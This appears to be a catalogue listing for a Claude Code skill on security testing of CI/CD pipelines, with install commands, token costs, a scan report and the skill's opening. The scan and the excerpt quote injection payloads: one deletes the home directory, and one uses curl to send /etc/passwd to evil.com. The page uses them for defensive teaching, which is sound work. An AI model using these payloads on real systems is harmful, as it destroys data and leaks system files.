pentest-cicd

pentest-cicd is a skill for Claude Code from fatihkan/badi. It costs 70 tokens per session (1,262 once invoked), scanned B, original, MIT.

A security testing guide for automated build and release systems such as GitHub Actions, GitLab CI, and Jenkins. CI/CD means the automated processes that build, test, and deploy software.

In plain words
What is it for?
Use it to review workflow files, runners, secret stores, OIDC cloud trust, third-party actions, build artifacts, and caches for injection, takeover, leakage, and supply-chain risks.
Why use it?
It helps identify ways attackers could inject commands, expose secrets, take over build machines, abuse cloud identity tokens, or tamper with software artifacts.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter. Also seen: mentions Claude Code.

Part of the badi plugin — 81 skills, 86 commands, 30 agents, 7 hooks shipped together

Good fit Use it to review workflow files, runners, secret stores, OIDC cloud trust, third-party actions, build artifacts, and caches for injection, takeover, leakage, and supply-chain risks.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/fatihkan/badi/pentest-cicd
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add fatihkan/badi --skill pentest-cicd
Clone the repo
git clone --depth 1 https://github.com/fatihkan/badi

Made for: Claude Code.

Or install badi, the plugin that ships this one along with the rest of its 81 skills, 86 commands, 30 agents, 7 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pentest-cicd

README.md
[![agentmods](https://agentmods.dev/badge/skills/fatihkan/badi/pentest-cicd/github.svg)](https://agentmods.dev/skills/fatihkan/badi/pentest-cicd)
Your own site
<a href="https://agentmods.dev/skills/fatihkan/badi/pentest-cicd"><img src="https://agentmods.dev/badge/skills/fatihkan/badi/pentest-cicd/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pentest-cicd

Your own site · 80×15
<a href="https://agentmods.dev/skills/fatihkan/badi/pentest-cicd"><img src="https://agentmods.dev/badge/skills/fatihkan/badi/pentest-cicd.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 70 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,262 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00070 $0.01262
Opus 5 $0.00035 $0.00631
Sonnet 5 $0.00014 $0.00252
Haiku 4.5 $0.00007 $0.00126

Measured 2d ago against content hash 4afa1c2da4c2, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade B, and why

pentest-cicd scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Recursive force deletemediumDestructive command

rm -rf with a variable or a broad path is one typo away from removing the wrong tree.

# Attack: PR title = `";rm -rf $HOME ;echo "`

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

# Attack: branch name = `"; curl evil.com/xfil?d=$(cat /etc/passwd); echo "`
.claude/skills-vault/pentest-cicd/SKILL.md · 175 lines

How it starts

The opening of the file, as written. The whole thing — 175 lines — stays where its author put it; the contents beside it link to each section on GitHub.

pentest-cicd

CI/CD pipeline attack surface advisory. Assumes repository access within an authorized engagement.

Triggers

  • "CI/CD pentest"
  • "GitHub Actions vulnerability"
  • "GitLab CI test"
  • "Jenkins security"
  • "workflow injection"
  • "OIDC token abuse"
  • "supply chain pentest"

Attack Surface Map

Component Common Vulnerability
Source repo Secret leak (env, .pem, .key)
Workflow file Injection via PR title, comment, branch name
Runner Self-hosted runner takeover
Secret store Environment variable leak in logs
OIDC trust Privilege leak to the cloud provider
Action marketplace Compromised 3rd party action
Artifact Exfiltrate or tamper with the build artifact
Cache Cache poisoning (the next build picks it up)

GitHub Actions Specific

Common Injection Pattern

# UNSAFE — ${{ code }} inside PR title -> shell injection
- run: echo "Processing PR: ${{ github.event.pull_request.title }}"

# Attack: PR title = `";rm -rf $HOME ;echo "`
# Resulting command: echo "Processing PR: ";rm -rf $HOME ;echo ""

# SAFE
- run: echo "Processing PR: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

pull_request_target Vulnerability

# UNSAFE — secrets reachable via a fork PR
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # runs fork code
      - run: npm install                                  # fork malicious npm script

Detect:

  • pull_request_target + checkout head.sha = HIGH risk
  • pull_request_target + secret usage = HIGH risk

Self-Hosted Runner Takeover

  • Public repo + self-hosted runner: anyone can register job
  • Fix: organization-level allowlist, ephemeral runner (single job)

OIDC Trust Misconfig

# AWS role trust policy
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:sub": "repo:org/repo:*"   # too broad
    }
  }
}

Read the full file on GitHub · 175 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 175 lines · 70 tokens per session scan B 4afa1c2da4c2

Subscribe to this mod's changes

pentest-cicd is a skill published in the GitHub repository fatihkan/badi (7 stars, last pushed yesterday), licensed MIT. It adds 70 tokens to every session and 1,262 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 2 findings (recursive force delete, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-06.